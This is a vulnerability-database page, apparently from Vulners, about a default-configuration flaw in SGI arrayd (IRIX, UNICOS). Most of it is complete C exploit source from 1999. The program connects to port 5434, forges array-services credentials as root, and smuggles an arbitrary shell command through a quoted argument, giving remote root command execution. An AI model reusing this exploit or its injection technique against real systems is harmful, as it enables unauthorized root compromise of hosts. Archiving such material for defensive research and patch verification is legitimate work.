Lucene search
K

SGI Advanced Linux Environment 3.0,SGI IRIX <= 6.5.4,SGI UNICOS <= 10.0 6 arrayd.auth Default Configuration Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

SGI Array Services Default Configuration Vulnerabilit

Code

                                                source: http://www.securityfocus.com/bid/530/exploit

The SGI Array Services provide a mechanism to simplify administering and managing an array of clustered systems. The arrayd(1m) program is part of the array_services(5) and is known as the array services daemon. The default configuration for authorization makes clustered systems vulnerable to remote root compromises. The array services are installed on Irix systems by default from the Irix applications CD. All versions of Unicos post 9.0.0 are vulnerable. 

/*## copyright LAST STAGE OF DELIRIUM aug 1999 poland        *://lsd-pl.net/ #*/
/*## arrayd                                                                  #*/

/*   this code makes the same as the following command invoked with root user */
/*   privileges:                                                              */
/*   /usr/sbin/array -s address launch pvm xxx xxx xxx &#34;\&#34;;command;exit\&#34;&#34;    */
/*   there are two possible authentication methods that can be used by        */
/*   the arrayd service:                                                      */
/*   AUTHENTICATION NONE                                                      */
/*       requests from anywhere are accepted                                  */
/*   AUTHENTICATION SIMPLE                                                    */
/*       requests from trusted hosts are accepted if they match the host/key  */
/*       from arrayd.auth file. if there is not a specific host/key pair for  */
/*       a given machine the request is also accepted although it should not  */
/*       be (see manual pages in case you dont believe it).                   */
/*       as you see, SGI suggestion to protect arrayd cluster by enabling     */
/*       simple authentication gives no result                                */

#include &#60;sys/types.h&#62;
#include &#60;sys/socket.h&#62;
#include &#60;netinet/in.h&#62;
#include &#60;netdb.h&#62;
#include &#60;stdio.h&#62;
#include &#60;errno.h&#62;

char msg1[]={
    0x31,0x08,0x12,0x63,0x13,0x54,0x34,0x23,
    0x00,0x00,0x00,0x00,0x12,0x34,0x56,0x78,
    0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x03,
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};

char msg2[]={
    0x00,0x00,0x00,0x02,0x10,0x00,0x28,0x00,
    0x00,0x00,0x00,0x0f,

    0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,   /* array   */
    0x00,0x00,0x00,0x5c,0x12,0x34,0x56,0x78,   /* args    */
    0x00,0x00,0x00,0x24,0x00,0x00,0x00,0x38,   /* creds   */

    /* creds */
    0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,   /* origin  */
    0x00,0x00,0x00,0x28,0x00,0x00,0x00,0x05,   /* user    */
    0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x05,   /* group   */
    0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,   /* project */
    0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,

    &#39;r&#39; ,&#39;o&#39; ,&#39;o&#39; ,&#39;t&#39; ,0x00,0x00,0x00,0x00,
    &#39;r&#39; ,&#39;o&#39; ,&#39;o&#39; ,&#39;t&#39; ,0x00,0x00,0x00,0x00,

    /* args */
    0x00,0x00,0x00,0x06,
    0x00,0x00,0x00,0x0c,0x00,0x00,0x00,0x30,

    0x00,0x00,0x00,0x3c,0x00,0x00,0x00,0x07,
    0x00,0x00,0x00,0x44,0x00,0x00,0x00,0x04,
    0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x04,
    0x00,0x00,0x00,0x4c,0x00,0x00,0x00,0x04,
    0x00,0x00,0x00,0x50,0x00,0x00,0x00,0x03,
    0x00,0x00,0x00,0x54,0x12,0x34,0x56,0x78,

    &#39;l&#39; ,&#39;a&#39; ,&#39;u&#39; ,&#39;n&#39; ,&#39;c&#39; ,&#39;h&#39; ,0x00,0x00,
    &#39;p&#39; ,&#39;v&#39; ,&#39;m&#39; ,0x00,&#39;x&#39; ,&#39;x&#39; ,&#39;x&#39; ,0x00,
    &#39;x&#39; ,&#39;x&#39; ,&#39;x&#39; ,0x00,&#39;x&#39; ,&#39;x&#39; ,&#39;x&#39; ,0x00,
};

main(int argc,char **argv){
    char buffer[10000],len[4],*b,*cmd=&#34;id&#34;;
    int i,c,sck;
    struct sockaddr_in address;
    struct hostent *hp;

    printf(&#34;copyright LAST STAGE OF DELIRIUM aug 1999 poland  //lsd-pl.net/\n&#34;);
    printf(&#34;arrayd for irix 6.2 6.3 6.4 6.5 6.5.4 IP:all\n\n&#34;);

    if(argc&#60;2){
        printf(&#34;usage: %s address [-c command]\n&#34;,argv[0]);
        exit(-1);
    }

    while((c=getopt(argc-1,&argv[1],&#34;c:&#34;))!=-1){
        switch(c){
        case &#39;c&#39;: cmd=optarg;break;
        }
    }

    sck=socket(AF_INET,SOCK_STREAM,0);
    bzero(&address,sizeof(address));

    address.sin_family=AF_INET;
    address.sin_port=htons(5434);
    if((address.sin_addr.s_addr=inet_addr(argv[1]))==-1){
        if((hp=gethostbyname(argv[1]))==NULL){
            errno=EADDRNOTAVAIL;perror(&#34;error&#34;);exit(-1);
        }
        memcpy(&address.sin_addr.s_addr,hp-&#62;h_addr,4);
    }
    if(connect(sck,(struct sockaddr *)&address,sizeof(address))&#60;0){
        perror(&#34;error&#34;);exit(-1);
    }

    memcpy(buffer,msg2,sizeof(msg2));
    sprintf(&buffer[sizeof(msg2)],&#34;\&#34;;%s;exit\&#34;&#34;,cmd);

    *(unsigned long*)len=htonl(sizeof(msg2)+strlen(cmd)+8+1);
    b=&msg1[12];
    for(i=0;i&#60;4;i++) *b++=len[i];

    write(sck,msg1,64);
    write(sck,buffer,sizeof(msg2)+strlen(cmd)+8+1);

    read(sck,buffer,64);
    read(sck,buffer,sizeof(buffer));

    b=&buffer[8];
    if((*(unsigned long*)b)!=1){
        printf(&#34;error: command refused\n&#34;);exit(-1);
    }
    b=&buffer[12];
    if(((*(unsigned long*)b)!=1)&&((*(unsigned long*)b)!=2)){
        printf(&#34;error: command not executed\n&#34;);exit(-1);
    }
    printf(&#34;OK!\n&#34;);
}


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation